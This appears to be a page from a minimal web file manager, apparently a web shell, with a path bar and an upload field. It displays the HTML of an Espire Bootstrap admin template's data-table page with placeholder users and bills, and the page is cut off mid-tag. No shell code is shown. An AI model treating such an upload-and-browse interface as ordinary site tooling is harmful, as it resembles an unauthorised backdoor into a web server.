MINI
C:
/
xampp
/
htdocs
/
poss
/
assets
/
dist
/
Upload File:
files >> C:/xampp/htdocs/poss/assets/dist/data-table.html
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no, shrink-to-fit=no"> <title>Espire - Bootstrap 4 Admin Template</title> <!-- Favicon --> <link rel="shortcut icon" href="assets/images/logo/favicon.png"> <!-- plugins css --> <link rel="stylesheet" href="../bower_components/bootstrap/dist/css/bootstrap.css" /> <link rel="stylesheet" href="../bower_components/PACE/themes/blue/pace-theme-minimal.css" /> <link rel="stylesheet" href="../bower_components/perfect-scrollbar/css/perfect-scrollbar.min.css" /> <!-- page plugins css --> <link rel="stylesheet" href="../bower_components/datatables/media/css/jquery.dataTables.css" /> <!-- core css --> <link href="assets/css/ei-icon.css" rel="stylesheet"> <link href="assets/css/themify-icons.css" rel="stylesheet"> <link href="assets/css/font-awesome.min.css" rel="stylesheet"> <link href="assets/css/animate.min.css" rel="stylesheet"> <link href="assets/css/app.css" rel="stylesheet"> </head> <body> <div class="app"> <div class="layout"> <!-- Side Nav START --> <div class="side-nav"> <div class="side-nav-inner"> <div class="side-nav-logo"> <a href="index.html"> <div class="logo logo-dark" style="background-image: url('assets/images/logo/logo.png')"></div> <div class="logo logo-white" style="background-image: url('assets/images/logo/logo-white.png')"></div> </a> <div class="mobile-toggle side-nav-toggle"> <a href="#"> <i class="ti-arrow-circle-left"></i> </a> </div> </div> <ul class="side-nav-menu scrollable"> <li class="nav-item"> <a class="mrg-top-30" href="index.html"> <span class="icon-holder"> <i class="ti-home"></i> </span> <span class="title">Dashboard</span> </a> </li> <li class="nav-item dropdown"> <a class="dropdown-toggle" href="javascript:void(0);"> <span class="icon-holder"> <i class="ti-package"></i> </span> <span class="title">Apps</span> <span class="arrow"> <i class="ti-angle-right"></i> </span> </a> <ul class="dropdown-menu"> <li> <a href="email.html">Email</a> </li> <li> <a href="calendar.html">Calendar</a> </li> <li> <a href="social.html">Social</a> </li> </ul> </li> <li class="nav-item dropdown"> <a class="dropdown-toggle" href="javascript:void(0);"> <span class="icon-holder"> <i class="ti-palette"></i> </span> <span class="title">UI Elements</span> <span class="arrow"> <i class="ti-angle-right"></i> </span> </a> <ul class="dropdown-menu"> <li> <a href="cards.html">Cards</a> </li> <li> <a href="buttons.html">Buttons</a> </li> <li> <a href="modals.html">Modals</a> </li> <li> <a href="tabs.html">Tabs & Accordions</a> </li> <li> <a href="progress-slider.html">Progress & Slider</a> </li> <li> <a href="notification.html">Notification</a> </li> <li> <a href="typography.html">Typography</a> </li> <li> <a href="icons.html">Icons</a> </li> </ul> </li> <li class="nav-item dropdown"> <a class="dropdown-toggle" href="javascript:void(0);"> <span class="icon-holder"> <i class="ti-file"></i> </span> <span class="title">Forms</span> <span class="arrow"> <i class="ti-angle-right"></i> </span> </a> <ul class="dropdown-menu"> <li> <a href="form-elements.html">Form Elements</a> </li> <li> <a href="form-layouts.html">Form Layouts</a> </li> <li> <a href="form-wizard.html">Form Wizard</a> </li> </ul> </li> <li class="nav-item dropdown open"> <a class="dropdown-toggle" href="javascript:void(0);"> <span class="icon-holder"> <i class="ti-layout-media-overlay"></i> </span> <span class="title">Tables</span> <span class="arrow"> <i class="ti-angle-right"></i> </span> </a> <ul class="dropdown-menu"> <li class="active"> <a href="basic-table.html">Basic Table</a> </li> <li> <a href="data-table.html">Data Table</a> </li> </ul> </li> <li class="nav-item dropdown"> <a class="dropdown-toggle" href="javascript:void(0);"> <span class="icon-holder"> <i class="ti-pie-chart"></i> </span> <span class="title">Charts</span> <span class="arrow"> <i class="ti-angle-right"></i> </span> </a> <ul class="dropdown-menu"> <li> <a href="nvd3.html">Nvd3</a> </li> <li> <a href="chartjs.html">ChartJs</a> </li> <li> <a href="sparkline.html">Sparkline</a> </li> <li> <a href="rickshaw.html">Ricksaw</a> </li> </ul> </li> <li class="nav-item dropdown"> <a class="dropdown-toggle" href="javascript:void(0);"> <span class="icon-holder"> <i class="ti-map-alt"></i> </span> <span class="title">Map</span> <span class="arrow"> <i class="ti-angle-right"></i> </span> </a> <ul class="dropdown-menu"> <li> <a href="google-map.html">Google Map</a> </li> <li> <a href="vector-map.html">Vector Map</a> </li> </ul> </li> <li class="nav-item dropdown"> <a class="dropdown-toggle" href="javascript:void(0);"> <span class="icon-holder"> <i class="ti-cloud"></i> </span> <span class="title">Extra</span> <span class="arrow"> <i class="ti-angle-right"></i> </span> </a> <ul class="dropdown-menu"> <li> <a href="invoice.html">Invoice</a> </li> <li> <a href="account.html">Account Settings</a> </li> <li> <a href="faq.html">FAQ</a> </li> <li> <a href="gallery.html">Gallery</a> </li> <li> <a href="sign-in.html">Sign In</a> </li> <li> <a href="sign-in2.html">Sign In 2</a> </li> <li> <a href="sign-up.html">Sign Up</a> </li> <li> <a href="404.html">404</a> </li> <li> <a href="500.html">500</a> </li> </ul> </li> <li class="nav-item dropdown"> <a class="dropdown-toggle" href="javascript:void(0);"> <span class="icon-holder"> <i class="ti-view-list-alt"></i> </span> <span class="title">Multiple Levels</span> <span class="arrow"> <i class="ti-angle-right"></i> </span> </a> <ul class="dropdown-menu"> <li class="nav-item dropdown"> <a href="javascript:void(0);"> <span>Level 1.2</span> </a> </li> <li class="nav-item dropdown"> <a href="javascript:void(0);"> <span>Level 1.1</span> <span class="arrow"> <i class="ti-angle-right"></i> </span> </a> <ul class="dropdown-menu"> <li> <a href="javascript:void(0);">Level 2</a> </li> </ul> </li> </ul> </li> </ul> </div> </div> <!-- Side Nav END --> <!-- Page Container START --> <div class="page-container"> <!-- Header START --> <div class="header navbar"> <div class="header-container"> <ul class="nav-left"> <li> <a class="side-nav-toggle" href="javascript:void(0);"> <i class="ti-view-grid"></i> </a> </li> <li class="search-box"> <a class="search-toggle no-pdd-right" href="javascript:void(0);"> <i class="search-icon ti-search pdd-right-10"></i> <i class="search-icon-close ti-close pdd-right-10"></i> </a> </li> <li class="search-input"> <input class="form-control" type="text" placeholder="Search..."> <div class="advanced-search"> <div class="search-wrapper"> <div class="pdd-vertical-10"> <span class="display-block mrg-vertical-5 pdd-horizon-20 text-gray"> <i class="ti-user pdd-right-5"></i> <span>People</span> </span> <ul class="list-unstyled list-info"> <li> <a href="#"> <img class="thumb-img" src="assets/images/avatars/thumb-1.jpg" alt=""> <div class="info"> <span class="title">Jordan Hurst</span> <span class="sub-title"> <i class="ti-location-pin"></i> <span>44 Shirley Ave. West Chicago</span> </span> </div> </a> </li> <li> <a href="#"> <img class="thumb-img" src="assets/images/avatars/thumb-5.jpg" alt=""> <div class="info"> <span class="title">Jennifer Watkins</span> <span class="sub-title"> <i class="ti-location-pin"></i> <span>514 S. Magnolia St. Orlando</span> </span> </div> </a> </li> <li> <a href="#"> <img class="thumb-img" src="assets/images/avatars/thumb-4.jpg" alt=""> <div class="info"> <span class="title">Michael Birch</span> <span class="sub-title"> <i class="ti-location-pin"></i> <span>70 Bowman St. South Windsor</span> </span> </div> </a> </li> </ul> </div> <div class="mrg-horizon-20 border top"></div> <div class="pdd-vertical-10"> <span class="display-block mrg-vertical-5 pdd-horizon-20 text-gray"> <i class="ti-rss pdd-right-5"></i> <span>Post</span> </span> <ul class="list-unstyled list-info"> <li> <a href="#"> <img class="thumb-img" src="assets/images/img-1.jpg" alt=""> <div class="info"> <span class="title">Artoo expresses his relief</span> <span class="sub-title"> <span>Oh, thank goodness we're coming out...</span> </span> </div> </a> </li> <li> <a href="#"> <img class="thumb-img" src="assets/images/img-2.jpg" alt=""> <div class="info"> <span class="title">Ready for some power?</span> <span class="sub-title"> <span>Lord Vader. You may take Caption So...</span> </span> </div> </a> </li> </ul> </div> </div> <div class="search-footer"> <span>You are Searching for '<b class="text-dark"><span class="serach-text-bind"></span></b>'</span> </div> </div> </li> </ul> <ul class="nav-right"> <li class="user-profile dropdown"> <a href="#" class="dropdown-toggle" data-toggle="dropdown"> <img class="profile-img img-fluid" src="assets/images/user.jpg" alt=""> <div class="user-info"> <span class="name pdd-right-5">Nate Leong</span> <i class="ti-angle-down font-size-10"></i> </div> </a> <ul class="dropdown-menu"> <li> <a href="#"> <i class="ti-settings pdd-right-10"></i> <span>Setting</span> </a> </li> <li> <a href="#"> <i class="ti-user pdd-right-10"></i> <span>Profile</span> </a> </li> <li> <a href="#"> <i class="ti-email pdd-right-10"></i> <span>Inbox</span> </a> </li> <li role="separator" class="divider"></li> <li> <a href="#"> <i class="ti-power-off pdd-right-10"></i> <span>Logout</span> </a> </li> </ul> </li> <li class="notifications dropdown"> <span class="counter">2</span> <a href="#" class="dropdown-toggle" data-toggle="dropdown"> <i class="ti-bell"></i> </a> <ul class="dropdown-menu "> <li class="notice-header"> <i class="ti-bell pdd-right-10"></i> <span>Notifications</span> </li> <li> <ul class="list-info overflow-y-auto relative scrollable"> <li> <a href="#"> <img class="thumb-img" src="assets/images/avatars/thumb-5.jpg" alt=""> <div class="info"> <span class="title"> <span class="font-size-14 text-semibold">Jennifer Watkins</span> <span class="text-gray">commented on your <span class="text-dark">post</span></span> </span> <span class="sub-title">5 mins ago</span> </div> </a> </li> <li> <a href="#"> <img class="thumb-img" src="assets/images/avatars/thumb-4.jpg" alt=""> <div class="info"> <span class="title"> <span class="font-size-14 text-semibold">Samuel Field</span> <span class="text-gray">likes your <span class="text-dark">photo</span></span> </span> <span class="sub-title">8 hours ago</span> </div> </a> </li> <li> <a href="#"> <span class="thumb-img bg-primary"> <span class="text-white">M</span> </span> <div class="info"> <span class="title"> <span class="font-size-14 text-semibold">Michael Birch</span> <span class="text-gray">likes your <span class="text-dark">photo</span></span> </span> <span class="sub-title">5 hours ago</span> </div> </a> </li> <li> <a href="#"> <span class="thumb-img bg-success"> <span class="text-white"><i class="fa fa-paper-plane-o"></i></span> </span> <div class="info"> <span class="title"> <span class="font-size-14 text-semibold">Message sent</span> </span> <span class="sub-title">8 hours ago</span> </div> </a> </li> <li> <a href="#"> <span class="thumb-img bg-info"> <span class="text-white"><i class="ti-user"></i></span> </span> <div class="info"> <span class="title"> <span class="font-size-14 text-semibold">Admin</span> <span class="text-gray">Welcome on board</span> </span> <span class="sub-title">8 hours ago</span> </div> </a> </li> </ul> </li> <li class="notice-footer"> <span> <a href="#" class="text-gray">Check all notifications <i class="ei-right-chevron pdd-left-5 font-size-10"></i></a> </span> </li> </ul> </li> <li> <a class="side-panel-toggle" href="javascript:void(0);"> <i class="ti-align-right"></i> </a> </li> </ul> </div> </div> <!-- Header END --> <!-- Side Panel START --> <div class="side-panel"> <div class="side-panel-wrapper bg-white"> <ul class="nav nav-tabs" role="tablist"> <li class="nav-item active"> <a class="nav-link" href="#chat" role="tab" data-toggle="tab"> <span>Chat</span> </a> </li> <li class="nav-item"> <a class="nav-link" href="#profile" role="tab" data-toggle="tab"> <span>Profile</span> </a> </li> <li class="nav-item "> <a class="nav-link" href="#todo-list" role="tab" data-toggle="tab"> <span>Todo</span> </a> </li> <li class="panel-close"> <a class="side-panel-toggle" href="javascript:void(0);"> <i class="ti-close"></i> </a> </li> </ul> <div class="tab-content"> <!-- chat START --> <div id="chat" role="tabpanel" class="tab-pane fade in active"> <div class="chat"> <div class="chat-user-list scrollable"> <div class="chat-section"> <h5 class="chat-title">Recent</h5> <a href="javascript:void(0);" class="chat-user chat-toggle"> <img class="thumb-img" src="assets/images/avatars/thumb-1.jpg" alt=""> <div class="user-info"> <span class="user-name">Jordan Hurst</span> <span class="prev-chat">What good's a reward if...</span> </div> <span class="status online"><span></span></span> </a> <a href="javascript:void(0);" class="chat-user chat-toggle"> <img class="thumb-img" src="assets/images/avatars/thumb-2.jpg" alt=""> <div class="user-info"> <span class="user-name">Harriet Douglas</span> <span class="prev-chat">Don't talk to me, stranger...</span> </div> <span class="status no-disturb"></span> </a> <a href="javascript:void(0);" class="chat-user chat-toggle"> <img class="thumb-img" src="assets/images/avatars/thumb-3.jpg" alt=""> <div class="user-info"> <span class="user-name">Victoria Clayton</span> <span class="prev-chat">Well, the Force is what...</span> </div> <span class="status away"></span> </a> <a href="javascript:void(0);" class="chat-user chat-toggle"> <img class="thumb-img" src="assets/images/avatars/thumb-6.jpg" alt=""> <div class="user-info"> <span class="user-name">Michael Birch</span> <span class="prev-chat">Good. Use your aggressive...</span> </div> <span class="status online"></span> </a> </div> <div class="chat-section"> <h5 class="chat-title">Members</h5> <a href="javascript:void(0);" class="chat-user chat-toggle"> <img class="thumb-img" src="assets/images/avatars/thumb-4.jpg" alt=""> <div class="user-info"> <span class="user-name pdd-top-5">Samuel Field</span> </div> <span class="status"></span> </a> <a href="javascript:void(0);" class="chat-user chat-toggle"> <img class="thumb-img" src="assets/images/avatars/thumb-5.jpg" alt=""> <div class="user-info"> <span class="user-name pdd-top-5">Jennifer Watkins</span> </div> <span class="status"></span> </a> <a href="javascript:void(0);" class="chat-user chat-toggle"> <img class="thumb-img" src="assets/images/avatars/thumb-6.jpg" alt=""> <div class="user-info"> <span class="user-name pdd-top-5">Michael Birch</span> </div> <span class="status"></span> </a> <a href="javascript:void(0);" class="chat-user chat-toggle"> <img class="thumb-img" src="assets/images/avatars/thumb-10.jpg" alt=""> <div class="user-info"> <span class="user-name pdd-top-5">Renee Edwards</span> </div> <span class="status"></span> </a> <a href="javascript:void(0);" class="chat-user chat-toggle"> <img class="thumb-img" src="assets/images/avatars/thumb-11.jpg" alt=""> <div class="user-info"> <span class="user-name pdd-top-5">Kathy White</span> </div> <span class="status"></span> </a> <a href="javascript:void(0);" class="chat-user chat-toggle"> <img class="thumb-img" src="assets/images/avatars/thumb-9.jpg" alt=""> <div class="user-info"> <span class="user-name pdd-top-5">Daryl Ellis</span> </div> <span class="status"></span> </a> </div> </div> <div class="conversation"> <div class="conversation-wrapper"> <div class="conversation-header"> <a href="javascript:void(0);" class="back chat-toggle"> <i class="ti-arrow-circle-left"></i> </a> <span class="user-name">Jordan Hurst</span> </div> <div class="conversation-body"> <div class="msg"> <div class="bubble me"> <span>Feeling all right, sir?</span> </div> </div> <div class="msg"> <div class="bubble friend"> <span>Just like new</span> </div> </div> <div class="msg"> <div class="bubble friend"> <span>How about you?</span> </div> </div> <div class="msg"> <div class="bubble me"> <span>Right now I feel I could take on the whole Empire myself</span> </div> </div> <div class="msg"> <div class="bubble friend"> <span>All right</span> </div> </div> </div> <div class="conversation-footer"> <button class="upload-btn"> <i class="ti-camera"></i> </button> <input class="chat-input" type="text" placeholder="Type a message..."> <button class="sent-btn"> <i class="fa fa-send-o"></i> </button> </div> </div> </div> </div> </div> <!-- chat END --> <!-- profile START --> <div id="profile" role="tabpanel" class="tab-pane fade"> <div class="profile scrollable"> <div class="pdd-horizon-20 pdd-top-20"> <div class="border bottom"> <div class="text-center mrg-top-20"> <div class="row"> <div class="col-md-6 ml-auto mr-auto text-center"> <img class="img-fluid border-radius-round" src="assets/images/avatars/user-1.jpg" alt=""> </div> </div> <h4 class="mrg-top-20">Nate Leong</h4> <span class="">@Frontend Developer</span> </div> <div class="row text-center pdd-vertical-20"> <div class="col-sm-12"> <div class="row"> <div class="col-sm-4 col-xs-4 border right"> <div class="pdd-vertical-10"> <span class="font-size-18 text-dark">18</span> <small>Projects</small> </div> </div> <div class="col-sm-4 col-xs-4 border right"> <div class="pdd-vertical-10"> <span class="font-size-18 text-dark">1,362</span> <small>Followers</small> </div> </div> <div class="col-sm-4 col-xs-4"> <div class="pdd-vertical-10"> <span class="font-size-18 text-dark">362</span> <small>Points</small> </div> </div> </div> </div> </div> </div> </div> <div class="pdd-horizon-20 pdd-top-20"> <div class="border bottom"> <h5 class="text-dark mrg-btm-20">Quick Tools</h5> <ul class="list-unstyled list-link font-size-16 pdd-btm-20"> <li> <a href="#"> <i class="ti-user pdd-right-10"></i> <span>Friend Request</span> <span class="label label-info mrg-left-5">2</span> </a> </li> <li> <a href="#"> <i class="ti-book pdd-right-10"></i> <span>Inbox</span> <span class="label label-warning mrg-left-5">8</span> </a> </li> <li> <a href="#"> <i class="ti-settings pdd-right-10"></i> <span>Settings</span> </a> </li> </ul> </div> </div> <div class="padding-20"> <h5 class="text-dark mrg-btm-20">Recent</h5> <ul class="list-unstyled list-info"> <li> <a href="#"> <img class="thumb-img" src="assets/images/avatars/thumb-1.jpg" alt=""> <div class="info"> <span class="title">Jordan Hurst</span> <span class="sub-title">have send you a request</span> <span class="float-object">8m</span> </div> </a> </li> <li> <a href="#"> <img class="thumb-img" src="assets/images/avatars/thumb-4.jpg" alt=""> <div class="info"> <span class="title">Samuel Field</span> <span class="sub-title">have send you a request</span> <span class="float-object">7d</span> </div> </a> </li> <li> <a href="#"> <span class="thumb-img bg-info text-center font-size-25 font-secondary"> <span class="text-white">E</span> </span> <div class="info"> <span class="title">Espire</span> <span class="sub-title">Welcome on Board</span> <span class="float-object">7d</span> </div> </a> </li> </ul> </div> </div> </div> <!-- profile END --> <!-- todo START --> <div id="todo-list" role="tabpanel" class="tab-pane fade"> <div class="todo-wrapper"> <div class="todo-category-wrapper"> <div class="row mrg-btm-15"> <div class="col-md-12"> <h3 class="no-mrg-top">Todo List</h3> </div> </div> <a href="javascript:void(0);" class="todo-toggle"> <div class="todo-category"> <span class="amount">8</span> <span class="category">Today</span> </div> </a> <a href="javascript:void(0);" class="todo-toggle"> <div class="todo-category"> <span class="amount">18</span> <span class="category">This Week</span> </div> </a> <a href="javascript:void(0);" class="todo-toggle"> <div class="todo-category"> <span class="amount">28</span> <span class="category">This Month</span> </div> </a> <a href="javascript:void(0);" class="todo-toggle"> <div class="create-category"> <i class="amount fa fa-plus-circle"></i> <span class="category">New Category</span> </div> </a> </div> <div class="todolist-wrapper"> <div class="todolist-header"> <a href="javascript:void(0);" class="back todo-toggle"> <i class="ti-arrow-circle-left"></i> </a> <h3 class="category">This Week</h3> <a href="#" class="add"> <span>ADD</span> </a> </div> <div class="todolist-body"> <div class="checkbox"> <button class="delete"> <i class="ti-close"></i> </button> <input id="task1" name="task1" type="checkbox"> <label for="task1">I hope the old man got that tractor </label> </div> <div class="checkbox"> <button class="delete"> <i class="ti-close"></i> </button> <input id="task2" name="task2" type="checkbox"> <label for="task2">Come on, come on!</label> </div> <div class="checkbox"> <button class="delete"> <i class="ti-close"></i> </button> <input id="task3" name="task3" type="checkbox"> <label for="task3">it was dangerous here</label> </div> <div class="checkbox"> <button class="delete"> <i class="ti-close"></i> </button> <input id="task4" name="task4" type="checkbox"> <label for="task4">I hope the old man got that tractor </label> </div> <div class="checkbox"> <button class="delete"> <i class="ti-close"></i> </button> <input id="task5" name="task5" type="checkbox"> <label for="task5">Artoo! Artoo, quickly!</label> </div> </div> <div class="todolist-body"> <div class="pdd-btm-5 mrg-btm-15 border bottom"> <p class="mrg-btm-5">Completed</p> </div> <div class="checkbox"> <button class="delete"> <i class="ti-close"></i> </button> <input id="completed-1" name="completed-1" type="checkbox" checked=""> <label for="completed-1">I hope the old man got that tractor </label> </div> <div class="checkbox"> <button class="delete"> <i class="ti-close"></i> </button> <input id="completed-2" name="completed-2" type="checkbox" checked=""> <label for="completed-2">Come on, come on!</label> </div> <div class="checkbox"> <button class="delete"> <i class="ti-close"></i> </button> <input id="completed-3" name="completed-3" type="checkbox" checked=""> <label for="completed-3">it was dangerous here</label> </div> </div> </div> </div> </div> </div> </div> </div> <!-- Side Panel END --> <!-- theme configurator START --> <div class="theme-configurator"> <div class="configurator-wrapper"> <div class="config-header"> <h4 class="config-title">Config Panel</h4> <button class="config-close"> <i class="ti-close"></i> </button> </div> <div class="config-body"> <div class="mrg-btm-30"> <p class="lead font-weight-normal">Header Color</p> <div class="theme-colors header-default"> <input type="radio" id="header-default" name="theme"> <label for="header-default"></label> </div> <div class="theme-colors header-primary"> <input type="radio" class="primary" id="header-primary" name="theme"> <label for="header-primary"></label> </div> <div class="theme-colors header-info"> <input type="radio" id="header-info" name="theme"> <label for="header-info"></label> </div> <div class="theme-colors header-success"> <input type="radio" id="header-success" name="theme"> <label for="header-success"></label> </div> <div class="theme-colors header-danger"> <input type="radio" id="header-danger" name="theme"> <label for="header-danger"></label> </div> <div class="theme-colors header-dark"> <input type="radio" id="header-dark" name="theme"> <label for="header-dark"></label> </div> </div> <div class="mrg-btm-30"> <p class="lead font-weight-normal">Sidebar Color</p> <div class="theme-colors sidenav-default"> <input type="radio" id="sidenav-default" name="sidenav"> <label for="sidenav-default"></label> </div> <div class="theme-colors side-nav-dark"> <input type="radio" id="side-nav-dark" name="sidenav"> <label for="side-nav-dark"></label> </div> </div> <div class="mrg-btm-30"> <p class="lead font-weight-normal no-mrg-btm">RTL</p> <div class="toggle-checkbox checkbox-inline toggle-sm mrg-top-10"> <input type="checkbox" name="rtl-toogle" id="rtl-toogle"> <label for="rtl-toogle"></label> </div> </div> </div> </div> </div> <!-- theme configurator END --> <!-- Theme Toggle Button START --> <button class="theme-toggle btn btn-rounded btn-icon"> <i class="ti-palette"></i> </button> <!-- Theme Toggle Button END --> <!-- Content Wrapper START --> <div class="main-content"> <div class="container-fluid"> <div class="page-title"> <h4>Data Table</h4> </div> <div class="row"> <div class="col-md-12"> <div class="card"> <div class="card-block"> <div class="table-overflow"> <table id="dt-opt" class="table table-lg table-hover"> <thead> <tr> <th></th> <th>Name</th> <th>Status</th> <th>Bill Code</th> <th>Date</th> <th>Amount</th> <th></th> </tr> </thead> <tbody> <tr> <td> <div class="checkbox mrg-left-20"> <input id="task10" name="task10" type="checkbox"> <label for="task10"></label> </div> </td> <td> <div class="list-info mrg-top-10"> <img class="thumb-img" src="assets/images/avatars/thumb-1.jpg" alt=""> <div class="info"> <span class="title">Jordan Hurst</span> <span class="sub-title">ID 860</span> </div> </div> </td> <td> <div class="relative mrg-top-15"> <span class="status online"> </span> <span class="pdd-left-20">Trade Approved</span> </div> </td> <td> <div class="mrg-top-15"> <span class="text-info"><b>#33666</b></span> </div> </td> <td> <div class="mrg-top-15"> <span>8 May 2017</span> </div> </td> <td> <div class="mrg-top-15"> <b class="text-dark font-size-16">$168.00</b> </div> </td> <td> <div class="mrg-top-10 text-center"> <button class="btn btn-icon btn-flat btn-rounded dropdown-toggle"> <i class="ti-more-alt"></i> </button> </div> </td> </tr> <tr> <td> <div class="checkbox mrg-left-20"> <input id="task11" name="task11" type="checkbox"> <label for="task11"></label> </div> </td> <td> <div class="list-info mrg-top-10"> <img class="thumb-img" src="assets/images/avatars/thumb-4.jpg" alt=""> <div class="info"> <span class="title">Samuel Field</span> <span class="sub-title">ID 861</span> </div> </div> </td> <td> <div class="relative mrg-top-15"> <span class="status away"> </span> <span class="pdd-left-20">Trade Pendding</span> </div> </td> <td> <div class="mrg-top-15"> <span class="text-info"><b>#33667</b></span> </div> </td> <td> <div class="mrg-top-15"> <span>8 May 2017</span> </div> </td> <td> <div class="mrg-top-15"> <b class="text-dark font-size-16">$168.00</b> </div> </td> <td> <div class="mrg-top-10 text-center"> <button class="btn btn-icon btn-flat btn-rounded dropdown-toggle"> <i class="ti-more-alt"></i> </button> </div> </td> </tr> <tr> <td> <div class="checkbox mrg-left-20"> <input id="task12" name="task12" type="checkbox"> <label for="task12"></label> </div> </td> <td> <div class="list-info mrg-top-10"> <img class="thumb-img" src="assets/images/avatars/thumb-6.jpg" alt=""> <div class="info"> <span class="title">Michael Birch</span> <span class="sub-title">ID 863</span> </div> </div> </td> <td> <div class="relative mrg-top-15"> <span class="status away"> </span> <span class="pdd-left-20">Trade Pendding</span> </div> </td> <td> <div class="mrg-top-15"> <span class="text-info"><b>#33668</b></span> </div> </td> <td> <div class="mrg-top-15"> <span>9 May 2017</span> </div> </td> <td> <div class="mrg-top-15"> <b class="text-dark font-size-16">$2488.00</b> </div> </td> <td> <div class="mrg-top-10 text-center"> <button class="btn btn-icon btn-flat btn-rounded dropdown-toggle"> <i class="ti-more-alt"></i> </button> </div> </td> </tr> <tr> <td> <div class="checkbox mrg-left-20"> <input id="task13" name="task13" type="checkbox"> <label for="task13"></label> </div> </td> <td> <div class="list-info mrg-top-10"> <img class="thumb-img" src="assets/images/avatars/thumb-5.jpg" alt=""> <div class="info"> <span class="title">Jennifer Watkins</span> <span class="sub-title">ID 864</span> </div> </div> </td> <td> <div class="relative mrg-top-15"> <span class="status no-disturb"> </span> <span class="pdd-left-20">Trade Rejected</span> </div> </td> <td> <div class="mrg-top-15"> <span class="text-info"><b>#33669</b></span> </div> </td> <td> <div class="mrg-top-15"> <span>10 May 2017</span> </div> </td> <td> <div class="mrg-top-15"> <b class="text-dark font-size-16">$432.00</b> </div> </td> <td> <div class="mrg-top-10 text-center"> <button class="btn btn-icon btn-flat btn-rounded dropdown-toggle"> <i class="ti-more-alt"></i> </button> </div> </td> </tr> <tr> <td> <div class="checkbox mrg-left-20"> <input id="task14" name="task14" type="checkbox"> <label for="task14"></label> </div> </td> <td> <div class="list-info mrg-top-10"> <img class="thumb-img" src="assets/images/avatars/thumb-8.jpg" alt=""> <div class="info"> <span class="title">Hugh Moreno</span> <span class="sub-title">ID 868</span> </div> </div> </td> <td> <div class="relative mrg-top-15"> <span class="status online"> </span> <span class="pdd-left-20">Trade Approved</span> </div> </td> <td> <div class="mrg-top-15"> <span class="text-info"><b>#33681</b></span> </div> </td> <td> <div class="mrg-top-15"> <span>11 May 2017</span> </div> </td> <td> <div class="mrg-top-15"> <b class="text-dark font-size-16">$867.00</b> </div> </td> <td> <div class="mrg-top-10 text-center"> <button class="btn btn-icon btn-flat btn-rounded dropdown-toggle"> <i class="ti-more-alt"></i> </button> </div> </td> </tr> <tr> <td> <div class="checkbox mrg-left-20"> <input id="task15" name="task15" type="checkbox"> <label for="task15"></label> </div> </td> <td> <div class="list-info mrg-top-10"> <img class="thumb-img" src="assets/images/avatars/thumb-9.jpg" alt=""> <div class="info"> <span class="title">Daryl Ellis</span> <span class="sub-title">ID 869</span> </div> </div> </td> <td> <div class="relative mrg-top-15"> <span class="status away"> </span> <span class="pdd-left-20">Trade Pedding</span> </div> </td> <td> <div class="mrg-top-15"> <span class="text-info"><b>#33682</b></span> </div> </td> <td> <div class="mrg-top-15"> <span>12 May 2017</span> </div> </td> <td> <div class="mrg-top-15"> <b class="text-dark font-size-16">$463.00</b> </div> </td> <td> <div class="mrg-top-10 text-center"> <button class="btn btn-icon btn-flat btn-rounded dropdown-toggle"> <i class="ti-more-alt"></i> </button> </div> </td> </tr> <tr> <td> <div class="checkbox mrg-left-20"> <input id="task16" name="task16" type="checkbox"> <label for="task16"></label> </div> </td> <td> <div class="list-info mrg-top-10"> <img class="thumb-img" src="assets/images/avatars/thumb-10.jpg" alt=""> <div class="info"> <span class="title">Renee Edwards</span> <span class="sub-title">ID 870</span> </div> </div> </td> <td> <div class="relative mrg-top-15"> <span class="status online"> </span> <span class="pdd-left-20">Trade Approved</span> </div> </td> <td> <div class="mrg-top-15"> <span class="text-info"><b>#33683</b></span> </div> </td> <td> <div class="mrg-top-15"> <span>12 May 2017</span> </div> </td> <td> <div class="mrg-top-15"> <b class="text-dark font-size-16">$433.00</b> </div> </td> <td> <div class="mrg-top-10 text-center"> <button class="btn btn-icon btn-flat btn-rounded dropdown-toggle"> <i class="ti-more-alt"></i> </button> </div> </td> </tr> <tr> <td> <div class="checkbox mrg-left-20"> <input id="task17" name="task17" type="checkbox"> <label for="task17"></label> </div> </td> <td> <div class="list-info mrg-top-10"> <img class="thumb-img" src="assets/images/avatars/thumb-11.jpg" alt=""> <div class="info"> <span class="title">Kathy White</span> <span class="sub-title">ID 873</span> </div> </div> </td> <td> <div class="relative mrg-top-15"> <span class="status online"> </span> <span class="pdd-left-20">Trade Approved</span> </div> </td> <td> <div class="mrg-top-15"> <span class="text-info"><b>#33684</b></span> </div> </td> <td> <div class="mrg-top-15"> <span>16 May 2017</span> </div> </td> <td> <div class="mrg-top-15"> <b class="text-dark font-size-16">$762.00</b> </div> </td> <td> <div class="mrg-top-10 text-center"> <button class="btn btn-icon btn-flat btn-rounded dropdown-toggle"> <i class="ti-more-alt"></i> </button> </div> </td> </tr> <tr> <td> <div class="checkbox mrg-left-20"> <input id="task18" name="task18" type="checkbox"> <label for="task18"></label> </div> </td> <td> <div class="list-info mrg-top-10"> <img class="thumb-img" src="assets/images/avatars/thumb-7.jpg" alt=""> <div class="info"> <span class="title">Glen Spencer</span> <span class="sub-title">ID 877</span> </div> </div> </td> <td> <div class="relative mrg-top-15"> <span class="status no-disturb"> </span> <span class="pdd-left-20">Trade Rejected</span> </div> </td> <td> <div class="mrg-top-15"> <span class="text-info"><b>#33685</b></span> </div> </td> <td> <div class="mrg-top-15"> <span>17 May 2017</span> </div> </td> <td> <div class="mrg-top-15"> <b class="text-dark font-size-16">$654.00</b> </div> </td> <td> <div class="mrg-top-10 text-center"> <button class="btn btn-icon btn-flat btn-rounded dropdown-toggle"> <i class="ti-more-alt"></i> </button> </div> </td> </tr> <tr> <td> <div class="checkbox mrg-left-20"> <input id="task19" name="task19" type="checkbox"> <label for="task19"></label> </div> </td> <td> <div class="list-info mrg-top-10"> <img class="thumb-img" src="assets/images/avatars/thumb-12.jpg" alt=""> <div class="info"> <span class="title">Joe Fleming</span> <span class="sub-title">ID 878</span> </div> </div> </td> <td> <div class="relative mrg-top-15"> <span class="status online"> </span> <span class="pdd-left-20">Trade Approved</span> </div> </td> <td> <div class="mrg-top-15"> <span class="text-info"><b>#33686</b></span> </div> </td> <td> <div class="mrg-top-15"> <span>18 May 2017</span> </div> </td> <td> <div class="mrg-top-15"> <b class="text-dark font-size-16">$853.00</b> </div> </td> <td> <div class="mrg-top-10 text-center"> <button class="btn btn-icon btn-flat btn-rounded dropdown-toggle"> <i class="ti-more-alt"></i> </button> </div> </td> </tr> <tr> <td> <div class="checkbox mrg-left-20"> <input id="task20" name="task20" type="checkbox"> <label 